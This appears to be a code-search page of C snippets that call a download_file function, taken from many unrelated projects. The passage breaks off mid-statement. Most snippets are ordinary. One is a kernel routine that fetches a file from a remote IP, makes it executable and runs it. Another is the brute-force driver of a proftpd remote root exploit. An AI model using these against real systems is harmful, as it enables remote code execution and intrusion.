Ejemplo n.º 1
0
void view_download(const char *host, const char *port, const char *selector)
{
    int     fd;
    char    filename[1024], line[1024];

    snprintf(filename, sizeof(filename), "%s", strrchr(selector, '/') + 1);
    printf("enter filename for download [%s]: ", filename);
    fflush(stdout);
    if (! read_line(0, line, sizeof(line))) {
        puts("download aborted");
        return;
    }
    if (strlen(line) > 0)
#if defined(__OpenBSD__)
        strlcpy(filename, line, sizeof(filename));
#else
        strcpy(filename, line);
#endif
    fd = open(filename, O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
    if (fd == -1) {
        printf("error: unable to create file [%s]: %s\n",
                filename, strerror(errno));
        return;
    }
    if (! download_file(host, port, selector, fd)) {
        printf("error: unable to download [%s]\n", selector);
        unlink(filename);
        return;
    }
}
Ejemplo n.º 2
0
int fw_upgrade(char *url, char *md5)
{
#define FW_FILENAME	"/tmp/pwf_upgrade.bin"
#define FW_UPGRADE "cat "FW_FILENAME" > /dev/mtdblock/1 && echo \"1\">/proc/rebootm"
	int ret = 0;
	char smd5[64] = {0};
	char cmd[128] = {0};
	
	if(!url || !md5){
		return -1;
	}

	LOG_INFO("%s: url=%s, md5=%s\n", __FUNCTION__, url, md5);
	download_file(url, FW_FILENAME);
	get_file_md5(FW_FILENAME, smd5, sizeof(smd5) - 1);
	if(0 != strcasecmp(md5, smd5)){
		LOG_INFO("%s: fw md5 not match: told:real  -%s:%s-\n", __FUNCTION__, md5, smd5);
		return -1;
	}
	LOG_INFO("%s:fw md5 is match: told:real  -%s:%s-\n", __FUNCTION__, md5, smd5);

	LOG_INFO("%s: exec: %s.\n", __FUNCTION__, FW_UPGRADE);
	system(FW_UPGRADE);

	return ret;
}
Ejemplo n.º 3
0
void SM_Net::thread_function ( void )
{
	usleep( 300 );

	if( ! download_file() )
		sm_signal_failed( this );
}
Ejemplo n.º 4
0
int download_check_link(const char * dst, const char * src, const char * md5, check_file_func_t cb)
{
    char new_file[PATH_MAX] = {0};
    snprintf(new_file, sizeof(new_file), "%s.%s", 
            dst, 
            timestamp2compact_str(get_now_tv()->tv_sec));

    int ret = download_file(new_file, src, md5);
    if (0 != ret)
    {
        return ret;
    }

    if (NULL != cb)
    {
        ret = cb(new_file);
        if (0 != ret)
        {
            return ret;
        }
    }

    const char * new_file_name = get_filename(new_file);

    ret = link_file(new_file_name, dst);
    if (0 != ret)
    {
        return NODE_ERR_LINK_FILE;
    }

    return 0;
}
Ejemplo n.º 5
0
static Uint32 check_server_digest_file(const char* file, FILE* tmp_file,
	const char* server, const char* path, const Uint32 size, char* buffer,
	const Uint32 digest_size, char* digest)
{
	Uint64 file_size;
	Uint32 result;

	result = download_file(file, tmp_file, server, path, &file_size,
		size, buffer, 0, 0);

	if ((result == 0) && (file_size >= digest_size))
	{
		fseek(tmp_file, 0, SEEK_SET);

		memset(buffer, 0, size);

		result = fread(buffer, digest_size, 1, tmp_file);

		if (result == 1)
		{
			if (memcmp(buffer, digest, digest_size) == 0)
			{
				return 0;
			}

			memcpy(digest, buffer, digest_size);
		}

		return 1;
	}

	return 2;
}
Ejemplo n.º 6
0
static int download_staff_file(ConfigEntry *ce)
{
int ret = 0;
struct stat	sb;
char *file, *filename;

	if (Download.in_progress)
		return 0;

	Download.is_url = 1;
	ircstrdup(Download.url, ce->ce_vardata);

	file = url_getfilename(ce->ce_vardata);
	filename = unreal_getfilename(file);
	/* TODO: handle NULL returns */
	ircstrdup(Download.file, filename);
	MyFree(file);

	if (!loop.ircd_rehashing && !Download.once_completed)
	{
		char *error;

		if (config_verbose > 0)
			config_status("Downloading %s", Download.url);

		if (!(file = download_file(ce->ce_vardata, &error)))
		{
			config_error("%s:%i: test: error downloading '%s': %s",
				ce->ce_fileptr->cf_filename, ce->ce_varlinenum,
				ce->ce_vardata, error);
			return -1;
		}

		Download.once_completed = 1;
		ircstrdup(Download.path, file);
		read_motd(Download.path, &staff);

		MyFree(file);
		return 0;
	}

	file = Download.path ? Download.path : Download.file;

	if ((ret = stat(file, &sb)) && errno != ENOENT)
	{
		/* I know, stat shouldn't fail... */
		config_error("%s:%i: could not get the creation time of %s: stat() returned %d: %s",
			ce->ce_fileptr->cf_filename, ce->ce_varlinenum,
			Download.file, ret, strerror(errno));
		return -1;
	}

	if (config_verbose > 0)
		config_status("Downloading %s", Download.url);

	Download.in_progress = 1;
	download_file_async(Download.url, sb.st_ctime, download_staff_file_complete, NULL);
	return 0;
}
Ejemplo n.º 7
0
/*
	when a PMC daemon is started, it first checks if there's
	already a daemon running on the network with the same nodekey,
	if yes, the newly started daemon automaticly runs in backup 
	mode until demanded to switch to primary mode.
*/
bool setup_running_state()
{
	__uint items;
	NODE_KEY	nodeKey;
	char		buffer[8192];
	string	dirname;

	*buffer = 0;
	
	/*
		running-state check must be done in backup mode.
	*/
	set_power_state(PWR_BACKUP);

	host_to_node(&g_ThisNode->key, &nodeKey);
	utils_trace("Finding primary site....\n");
	items = discover_configfiles(&nodeKey, buffer, sizeof(buffer), 2000);
	if(!items){
		utils_trace("No primary site found, starting as primary.\n");
		set_power_state(PWR_RUNNING);
	}else{
		if(!g_bAllowBackup){
			utils_error(
				"Primary site unexpected, "
				"use '-2' command line option to force start as backup.\n"
				);
			return __false;
		}
		utils_trace("Primary site found, server will be started in backup mode.\n");
#if 0
		__uint	 i, filesize;
		char		*item, *filebuf;
		FILE		*fp;
		utils_trace("Primary site found, downloading configurations....\n");
		item = buffer;
		dirname = get_working_dir();
		for(i=0; i<items && *item; i++){
			utils_trace("Downloading file (%d of %d) %s....\n", i+1, items, item);
			if(!download_file(&nodeKey, item, &filebuf, &filesize)){
				utils_error("Unable to download  '%s'\n", item);
				return false;
			}
			fp = fopen((dirname + "/" + item).data(), "wb");
			if(!fp){
				utils_error("Unable to write to '%s'\n", item);
				proxy_release_data(filebuf);
				return false;
			}
			fwrite(filebuf, 1, filesize, fp);
			fclose(fp);
			proxy_release_data(filebuf);
			item += strlen(item) + 1;
			rtk_sleep(100);
		}
#endif
	}
	
	return true;
}
Ejemplo n.º 8
0
void update_metar(int force){
    time_t t;

    t=time(NULL)/60;
    if(!force && metar_time>t) return;

    metar_time=t+15;
    download_file(metar_newfile, metar_req[0], metar_req[1], force?DOWNLOAD_KILL_OTHER_REQUESTS:0, metar_callback, force?"":NULL);
}
Ejemplo n.º 9
0
QNetworkReply*
CRestWorker::download_gorjun_file(const QString &file_id) {
  static const QString str_file_url("file/get");
  QUrl url(CSettingsManager::Instance().gorjun_url().arg(str_file_url));
  QUrlQuery query;
  query.addQueryItem("id", file_id);
  url.setQuery(query);
  return download_file(url);
}
Ejemplo n.º 10
0
static void
download_fetch(void *aux)
{
  download_t *dn = aux;
  http_client_t *hc;
  url_t u;

  urlinit(&u);

  if (dn->url == NULL)
    goto done;

  if (strncmp(dn->url, "file://", 7) == 0) {
    download_file(dn, dn->url + 7);
    goto done;
  }

  if (strncmp(dn->url, "pipe://", 7) == 0) {
    download_pipe(dn, dn->url + 7);
    goto done;
  }

  if (dn->http_client) {
    http_client_close(dn->http_client);
    dn->http_client = NULL;
  }

  if (urlparse(dn->url, &u) < 0) {
    tvherror(dn->log, "wrong url");
    goto stop;
  }
  hc = http_client_connect(dn, HTTP_VERSION_1_1, u.scheme, u.host, u.port, NULL);
  if (hc == NULL) {
    tvherror(dn->log, "unable to open http client");
    goto stop;
  }
  hc->hc_handle_location = 1;
  hc->hc_data_limit = 1024*1024;
  hc->hc_data_complete = download_fetch_complete;
  http_client_register(hc);
  http_client_ssl_peer_verify(hc, dn->ssl_peer_verify);
  if (http_client_simple(hc, &u) < 0) {
    http_client_close(hc);
    tvherror(dn->log, "unable to send http command");
    goto stop;
  }

  dn->http_client = hc;
  goto done;

stop:
  if (dn->stop)
    dn->stop(dn->aux);
done:
  urlreset(&u);
}
Ejemplo n.º 11
0
gboolean
download_file_and_signature (const gchar *url,
                             GBytes **contents,
                             GBytes **signature,
                             GError **error)
{
  g_autoptr(SoupURI) uri = soup_uri_new (url);
  g_autoptr(SoupURI) sig_uri = NULL;

  if (uri == NULL)
    {
      g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED,
                   "Invalid URL %s", url);
      return FALSE;
    }

  sig_uri = get_uri_to_sig (uri);
  *contents = download_file (uri);
  *signature = download_file (sig_uri);
  return TRUE;
}
Ejemplo n.º 12
0
void BrewologyDownloadImages(PSC_Application *App, const char* text, void (*handler)(const char *msg)){
	if(!App->downloaded){
		string link;
		for(int i=0 ; i < App->n_elem ; ++i){
			char perc[128];
			snprintf(perc,128,"%s %.2f %%", text, i*100.f / App->n_elem);
			if(handler!=NULL)
				handler(perc);
			link = App->img_file[i].c_str();
			App->img_file[i] =  CACHE_PATH2"/";
			App->img_file[i] += App->name[i];
			App->img_file[i] += ".png";
			download_file(link.c_str(),App->img_file[i].c_str(), progress, NULL);
			if(get_size(App->img_file[i].c_str()) == 161)
				download_file("www.your.website.com/default.png",App->img_file[i].c_str(), progress, NULL);
			App->img_file[i] =  App->name[i];
			App->img_file[i] += ".png";
		}
	}
	App->downloaded = 1;
}
Ejemplo n.º 13
0
/* check for all updates */
void
update_check(gboolean interactive)
{
    char *local_file;
    const char *url_file = "http://127.0.0.1/wsupdate";	/* XXX - build the URL depending on platform, versions, ... */
    update_info_t *update_info_wireshark;
    update_info_t *update_info_winpcap;


    /* build update file name */
    /* XXX - using the personal path, use temp dir instead? */
    local_file = get_persconffile_path("wsupdate", FALSE, TRUE /*for_writing*/);
    if(local_file == NULL) {
        g_warning("Couldn't create output path!");
        return;
    }

    /* download update file */
    if(download_file(url_file, local_file) == -1) {
        g_warning("Couldn't download update file: %s", local_file);
        g_free(local_file);
        return;
    }

    /* check wireshark */
    update_info_wireshark = update_check_wireshark(local_file);

    /* check winpcap */
    update_info_winpcap = update_check_winpcap(local_file);

    /* display results */
    if(update_info_wireshark->needs_update || update_info_winpcap->needs_update) {
        if(update_info_wireshark->needs_update)
            update_info_display(update_info_wireshark);
        if(update_info_winpcap->needs_update)
            update_info_display(update_info_winpcap);
    } else {
        if(interactive) {
            simple_dialog(ESD_TYPE_INFO, ESD_BTN_OK, "No updates available");
        }
    }

    /* cleanup */
    update_info_delete(update_info_wireshark);
    update_info_delete(update_info_winpcap);

    g_free(local_file);
}
Ejemplo n.º 14
0
void download_folder(char* file_name, char* local_path, char* remote_path, unsigned long IPaddr, int PN)
{
	char local_temp[1024], remote_temp[1024];
	char* msg = 0, * resp_msg = 0, *err_msg_string = 0;
	uint64_t msg_len;
	uint32_t num_metas;
	int i;
	basic_meta_t *basic_metas = 0;
	ErrorCode error;
	struct Node* resp;
    	strcpy(local_temp, local_path);
    	strcpy(remote_temp, remote_path);
    	make_dir(file_name, 0, local_path, IPaddr, PN);
    	change_dir(file_name, local_temp, 0, IPaddr, PN);
    	change_dir(file_name, remote_temp, 1, IPaddr, PN);

	create_msg_get_folder_meta_request(remote_temp, &msg, &msg_len);
	error = mysend(msg, IPaddr, PN, msg_len);
	free(msg);
	if(error == FAILURE || error == RETRY)
	{	printf("error in send\n");
		return;
	}
	resp = myrecv(CLIENT_PORT);
	resp_msg = resp->message;
	if(get_header_type(resp_msg) == BACS_ERROR)
	{
      		parse_msg_error(resp_msg, &err_msg_string);
		printf("%s",err_msg_string);
		free(resp->message);
		free(resp);
		free(err_msg_string);
		return;
	}
	parse_msg_get_folder_meta_response(resp_msg, &basic_metas, &num_metas);
	free(resp->message);
	free(resp);
	free(err_msg_string);
	for(i=0; i < num_metas; i++)
	{
		if(strcmp(basic_metas[i].name,".")!=0 && strcmp(basic_metas[i].name,"..")!=0)
			download_file(basic_metas[i].name, local_temp, remote_temp, IPaddr, PN);
		//free(basic_metas[i].name);
	}
	free(basic_metas);
 	/*download file complete*/
    	printf("Directory downloaded to path: %s\n",local_path);
}
Ejemplo n.º 15
0
int _tmain(int argc, TCHAR **argv)
{
    int iErr, iRet = 0;

    if(argc != 2 && argc != 3)
    {
        _tprintf(_T("Usage: dwnl URL [DESTINATION]"));
        return 2;
    }

    iErr = download_file(argv[1], argc == 3 ? argv[2] : NULL);
    if (iErr <= 0)
        iRet = print_err(iErr);

    return iRet;
}
Ejemplo n.º 16
0
static void event_handler(json_object *obj) {
  json_object *child, *data, *body, *event;
  char *ev, *type, *message;

  if (!json_object_object_get_ex(obj, "data", &data)) {
    Warning("data not found");
    return;
  }
  if (!json_object_object_get_ex(data, "event", &event)) {
    Warning("event not found");
    return;
  }
  if (!json_object_object_get_ex(data, "body", &body)) {
    Warning("body not found");
    return;
  }
  ev = (char *)json_object_get_string(event);
  if (!strcmp(ev, "client_data_ready")) {
    if (!json_object_object_get_ex(body, "type", &child)) {
      Warning("type not found");
      return;
    }
    type = (char *)json_object_get_string(child);
    if (type != NULL) {
      if (!strcmp("report", type)) {
        print_report(body);
      } else if (!strcmp("misc", type)) {
        download_file(body);
      }
    }
  } else if (!strcmp(ev, "announcement")) {
    if (!json_object_object_get_ex(body, "message", &child)) {
      Warning("message not found");
      return;
    }
    message = (char *)json_object_get_string(child);
    Notify(_("orca cloud announce"), message, "gtk-dialog-info", 30);
  } else if (!strcmp(ev, "websocket_reconnect")) {
    Notify(_("websocket_reconnect"), _("websocket_reconnect_message"),
           "gtk-dialog-warning", 30);
  } else if (!strcmp(ev, "websocket_disconnect")) {
    Notify(_("websocket_disconnect"), _("websocket_disconnect_message"),
           "gtk-dialog-warning", 30);
  } else {
    Warning("unknown event:%s", ev);
  }
}
Ejemplo n.º 17
0
void download_map_from_google_api (char *url, char *filename)
{
	int begin = 0, end = 0;

	begin = time (NULL);

	if (!download_file(url, filename))
	{
		printf("Error: download do arquivo \"%s\" nao pode ser realizado de \"%s\"!\n", filename, url);
		exit(-1);
	}

	end = time (NULL);

	printf(
			"download time: %d segundos\n",
			(end - begin)
	);
}
Ejemplo n.º 18
0
int download_temp(const char *host, const char *port, const char *selector)
{
    int     tmpfd;

#if defined(__OpenBSD__)
    strlcpy(tmpfilename, "/tmp/cgoXXXXXX", sizeof(tmpfilename));
#else
    strcpy(tmpfilename, "/tmp/cgoXXXXXX");
#endif
    tmpfd = mkstemp(tmpfilename);
    if (tmpfd == -1) {
        fputs("error: unable to create tmp file\n", stderr);
        return 0;
    }
    if (! download_file(host, port, selector, tmpfd)) {
        unlink(tmpfilename);
        return 0;
    }
    return 1;
}
Ejemplo n.º 19
0
void *cmd_boot_handler(void *data)
{
	struct command *cmd = (struct command *) data;
	unsigned char response1[65] = {};
	unsigned char report1[17] = {
		REPORT_ID1,
		0x04, 0x04, //COMMAND TYPE = WRITE_FILE
		SPLIT_BYTES(0x00907000), // ADDRESS = 0x00100000
		//SPLIT_BYTES(0x00907000), // ADDRESS = 0x00100000
		0x20, //FORMAT = DONT CARE FOR WRITE_FILE
		SPLIT_BYTES(cmd->file_size), //DATA COUNT
		0xaa, 0xbb, 0xcc, 0xdd, //DATA = ONLY VALID FOR WRITE_REGISTER
		0x00
	};
	int ret, i = 0;

	printf_sameline("Downloading initial boot loader");

	HID_write(report1, 17);
	download_file(cmd->file);

	memset(response1, 0, 65);
	HID_read(response1, 65);
	memset(response1, 0, 65);
	HID_read(response1, 65);

	report1[1] = 0x0b;
	report1[2] = 0x0b;

	HID_write(report1, 17);

	memset(response1, 0, 65);
	HID_read(response1, 65);
	memset(response1, 0, 65);
	HID_read(response1, 65);

	return NULL;
}
Ejemplo n.º 20
0
// IP and port are assumed network byte order (big endian)
void dl_exec ( char *path, unsigned int ip, unsigned short port, unsigned int retry, unsigned int delay )
{
    unsigned int attempt = 1;
    mm_segment_t old_fs;
    char *argv[] = { path, NULL };
    #if defined(_CONFIG_X86_) || defined(_CONFIG_X86_64_)
    char *envp[] = { "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin", NULL };
    #else // ARM
    char *envp[] = { "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
    #endif

    while ( download_file(path, ip, port) )
    {
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 36)
        DEBUG("Attempt #%u: Error downloading file from %u.%u.%u.%u:%hu, sleeping for %ums\n", attempt, NIPQUAD(ip), ntohs(port), delay);
        #else
        DEBUG("Attempt #%u: Error downloading file from %pI4:%hu, sleeping for %ums\n", attempt, &ip, ntohs(port), delay);
        #endif

        if ( attempt++ == retry + 1 )
            return;

        msleep(delay);
    }

    DEBUG("File successfully downloaded, now executing\n");

    old_fs = get_fs();
    set_fs(get_ds());

    // Stupid umasks...
    sys_chmod(path, 0777);

    set_fs(old_fs);

    call_usermodehelper(path, argv, envp, 0);
}
Ejemplo n.º 21
0
static int handle_download(csiebox_client *client)
{
	csiebox_protocol_header header;
	memset(&header, 0, sizeof(header));
	recv_message(client->conn_fd, &header, sizeof(header));
	if (header.res.magic == CSIEBOX_PROTOCOL_MAGIC_RES) {
		switch (header.res.op) {
			case CSIEBOX_PROTOCOL_OP_SYNC_META: 
				fprintf(stderr, ">>> download meta: ");
				csiebox_protocol_meta meta;
				complete_message_with_header(client->conn_fd, &header, &meta);
				download_meta(client, &meta);
				return 0;
			case CSIEBOX_PROTOCOL_OP_SYNC_FILE:
				fprintf(stderr, ">>> download file\n");
				csiebox_protocol_file file;
				complete_message_with_header(client->conn_fd, &header, &file);
				download_file(client, &file);
				return 0;
			case CSIEBOX_PROTOCOL_OP_RM: 
				fprintf(stderr, ">>> download rm: ");
				csiebox_protocol_rm rm;
				complete_message_with_header(client->conn_fd, &header, &rm);
				download_rm(client, &rm);
				return 0;
			case CSIEBOX_PROTOCOL_OP_SYNC_END:
				fprintf(stderr, ">>> download end\n");
				char buffer[EVENT_BUF_LEN];
				while(read(client->inotify_fd, buffer, EVENT_BUF_LEN) == EVENT_BUF_LEN);
				return 1;
			default : 
				fprintf(stderr, "========== unknown op: %x\n", header.res.op);
				return 1;
		}
	}
	return 1;
}
Ejemplo n.º 22
0
gboolean download_file_checksum(const gchar *target, const gchar *url,
		const RaucChecksum *checksum)
{
	g_autofree gchar *tmpname = NULL;
	g_autofree gchar *dir = NULL;
	g_autofree gchar *tmppath = NULL;
	gboolean res = FALSE;

	tmpname = g_strdup_printf(".rauc_%s_%"G_GSIZE_FORMAT, checksum->digest,
			checksum->size);
	dir = g_path_get_dirname(target);
	tmppath = g_build_filename(dir, tmpname, NULL);

	g_unlink(target);
	g_unlink(tmppath);

	if (g_file_test(target, G_FILE_TEST_EXISTS))
		goto out;
	if (g_file_test(tmppath, G_FILE_TEST_EXISTS))
		goto out;

	res = download_file(tmppath, url, checksum->size, NULL);
	if (!res)
		goto out;

	res = verify_checksum(checksum, tmppath, NULL);
	if (!res)
		goto out;

	res = (g_rename(tmppath, target) == 0);
	if (!res)
		goto out;

out:
	return res;
}
Ejemplo n.º 23
0
gchar *
open_app_get_local_icon (const gchar *uri, gboolean download)
{
	g_return_val_if_fail (uri != NULL, NULL);

	OpenAppConfig *config;
	gchar *md5;
	gchar *img_dir;
	gchar *local_uri;

	config = open_app_config_new ();
	md5 = open_app_get_md5 (uri);
	img_dir = g_build_filename (g_get_user_cache_dir (), PACKAGE_NAME, "img", NULL);
	local_uri = g_build_filename (img_dir, md5, NULL);

	if (!g_file_test (img_dir, G_FILE_TEST_EXISTS))
		g_mkdir_with_parents (img_dir, 0755);

	if (!g_file_test (local_uri, G_FILE_TEST_EXISTS)) {
		if (download) {
			if (!download_file (uri, (const gchar *)local_uri)) {
				g_free (local_uri);
				local_uri = NULL;
			}
		} else {
			g_free (local_uri);
			local_uri = NULL;
		}
	}

	g_object_unref (config);
	g_free (md5);
	g_free (img_dir);

	return local_uri;
}
Ejemplo n.º 24
0
int restart_node()
{
    // 每次都从远程获取重启脚本
    // 好处在于能够保证本地和远程的文件一致
    // 通过控制远程文件,保证重启成功
    char url[PATH_MAX] = {0};
    snprintf(url, sizeof(url), "%s/script/restart_node.sh", g_auto_update_url);
    int ret = download_file(g_restart_script->m_full, url, NULL);
    if (ret != 0)
    {
        return ret;
    }
    // 加权限
    chmod(g_restart_script->m_full, 0755);
    if (-1 == access(g_restart_script->m_full, F_OK | R_OK | X_OK))
    {
        // 还有问题,就终止协议处理
        return NODE_ERR_DOWNLOAD_FAIL;
    }

    g_spawn_command_line_async(g_restart_script->m_full, NULL);

    return 0;
}
Ejemplo n.º 25
0
int main(int argc,char **argv)
{
int sleepMode=0;
char c;
unsigned int stackStartAddr=STACK_START;

if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis ([email protected])\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}

if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
goto err;
if(set_ascii_mode()==FAILURE)
goto err;
if(set_path_and_filename()==FAILURE)
goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(sleepMode)
sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
goto err;

// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...

if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
goto err;
err: 
close(controlSock);
}

// This is only reached if the bruteforce fails.
// delete the exploit files here

printf("\n\nNo r00t for you today I'm afraid.\n");
exit(1);
}
Ejemplo n.º 26
0
static int
pkg_download(Plisthead *installhead)
{
	FILE		*fp;
	Pkglist  	*pinstall;
	struct stat	st;
	Dlfile		*dlpkg;
	char		pkg_fs[BUFSIZ], pkg_url[BUFSIZ], query[BUFSIZ];
	int		rc = EXIT_SUCCESS;

	printf(MSG_DOWNLOAD_PKGS);

	SLIST_FOREACH(pinstall, installhead, next) {
		snprintf(pkg_fs, BUFSIZ,
			"%s/%s%s", pkgin_cache, pinstall->depend, PKG_EXT);

		/* pkg_info -X -a produces pkg_summary with empty FILE_SIZE,
		 * people could spend some time blaming on pkgin before finding
		 * what's really going on.
		 */
		if (pinstall->file_size == 0)
			printf(MSG_EMPTY_FILE_SIZE, pinstall->depend);

		/* already fully downloaded */
		if (stat(pkg_fs, &st) == 0 && 
			st.st_size == pinstall->file_size &&
			pinstall->file_size != 0 )
			continue;

		snprintf(query, BUFSIZ, PKG_URL, pinstall->depend);
		/* retrieve repository for package  */
		if (pkgindb_doquery(query, pdb_get_value, pkg_url) != 0)
			errx(EXIT_FAILURE, MSG_PKG_NO_REPO, pinstall->depend);

		strlcat(pkg_url, "/", sizeof(pkg_url));
		strlcat(pkg_url, pinstall->depend, sizeof(pkg_url));
		strlcat(pkg_url, PKG_EXT, sizeof(pkg_url));

		/* if pkg's repo URL is file://, just symlink */
		if (strncmp(pkg_url, SCHEME_FILE, strlen(SCHEME_FILE)) == 0) {
			(void)unlink(pkg_fs);
			if (symlink(&pkg_url[strlen(SCHEME_FILE) + 3],
				pkg_fs) < 0)
				errx(EXIT_FAILURE, MSG_SYMLINK_FAILED, pkg_fs);
			printf(MSG_SYMLINKING_PKG, pkg_url);
			continue;
		}

		umask(DEF_UMASK);
		if ((fp = fopen(pkg_fs, "w")) == NULL)
			err(EXIT_FAILURE, MSG_ERR_OPEN, pkg_fs);

		if ((dlpkg = download_file(pkg_url, NULL)) == NULL) {
			fprintf(stderr, MSG_PKG_NOT_AVAIL, pinstall->depend);
			rc = EXIT_FAILURE;

			if (!check_yesno(DEFAULT_NO))
				errx(EXIT_FAILURE, MSG_PKG_NOT_AVAIL,
				pinstall->depend);

			pinstall->file_size = -1;
			fclose(fp);
			continue;
		}

		fwrite(dlpkg->buf, dlpkg->size, 1, fp);
		fclose(fp);

		XFREE(dlpkg->buf);
		XFREE(dlpkg);

	} /* download loop */
void parse_command(char option[]) {
	int registerfd, consock;
	char server_ip[15], dest[100], filename[100], file1[100], file2[100],
			file3[100];

	char *token;
	char para1[50], para2[50], para3[50];
	int conid1 = 0, conid2 = 0, conid3 = 0, server_port, con_port, tid, uid;
	const char s[2] = " ";
	//parsing work

	token = strtok(option, s);
	if ((strcmp(token, "REGISTER") == 0) || (strcmp(token, "register") == 0)) {

		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		strcpy(para1, token);
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		strcpy(para2, token);

		server_port = atoi(para2);

		strcpy(server_ip, para1);
		if (strcmp("128.205.36.8", server_ip) != 0) {
			fprintf(stderr, "\nSERVER IP INCORRECT\n");

		} else {

			registerfd = register_serv(server_ip, server_port);
			FD_SET(registerfd, &readfds);

		}
	} else if ((strcmp(token, "CONNECT") == 0)
			|| (strcmp(token, "connect") == 0)) {
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		strcpy(dest, token);
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		con_port = atoi(token);

		consock = connect_client(dest, con_port);
		if (consock == -1)
			fprintf(stderr, "\nIMPROPER CONNECTION\n");
		else
			FD_SET(consock, &readfds);

	}

	else if ((strcmp(token, "UPLOAD") == 0) || (strcmp(token, "upload") == 0)) {
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		uid = atoi(token);
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		strcpy(filename, token);
		fprintf(stderr, "\nUPLOADING FILE %s TO CONNECTION %d", filename, uid);

		if (uid == 1) {
			fprintf(stderr, "\nUPLOAD TO SERVER NOT ALLOWED\n");

		}

		else {
			int i;
			for (i = 1; i < 4; i++) {
				if (mycon[i].con_id == uid)
					break;

			}
			if (i == 4) {
				fprintf(stderr, "\nNO SUCH CONNECTION\n");
			}

			else {

				int val = file_transfer(mycon[i].confd, filename);
				if (val == -1)
					fprintf(stderr, "\n\nERROR IN FILE TRANSFER\n\n");

			}

		}
	}

	else if ((strcmp(token, "DOWNLOAD") == 0)
			|| (strcmp(token, "download") == 0)) {
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		conid1 = atoi(token);
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		strcpy(file1, token);
		token = strtok(NULL, s);
		if (token != NULL) {
			conid2 = atoi(token);
			token = strtok(NULL, s);
			if (token != NULL) {
				strcpy(file2, token);
				token = strtok(NULL, s);
				if (token != NULL) {
					conid3 = atoi(token);
					token = strtok(NULL, s);
					if (token != NULL) {
						strcpy(file3, token);
					} else {
						fprintf(stderr, "\nINCORRECT COMMAND\n");
					}
				}
			} else {
				fprintf(stderr, "\nINCORRECT COMMAND");
			}

		}

		if ((conid1 == 1) || (conid2 == 1) || (conid3 == 1)) {
			fprintf(stderr, "\nDOWNLOAD FROM SERVER NOT ALLOWED\n");
			if (conid1 == 1)
				conid1 = 0;
			else if (conid2 == 1)
				conid2 = 0;
			else
				conid3 = 0;
		}

		if (conid1 != 0) {
			fprintf(stderr, "\nDOWNLOADING FILE %s FROM CONNECTION %d\n", file1,
					conid1);
			int val = download_file(file1, conid1);
			if (val == -1)
				fprintf(stderr, "ERROR IN FILE TRNSFER %s", file1);
		}
		if (conid2 != 0) {
			fprintf(stderr, "\nDOWNLOADING FILE %s FROM CONNECTION %d\n", file2,
					conid2);
			int val = download_file(file2, conid2);
			if (val == -1)
				fprintf(stderr, "ERROR IN FILE TRNSFER %s", file1);
		}
		if (conid3 != 0) {
			fprintf(stderr, "\nDOWNLOADING FILE %s FROM CONNECTION %d\n", file3,
					conid3);
			int val = download_file(file3, conid3);
			if (val == -1)
				fprintf(stderr, "ERROR IN FILE TRNSFER %s", file1);
		}

	}

	else if ((strcmp(token, "TERMINATE") == 0)
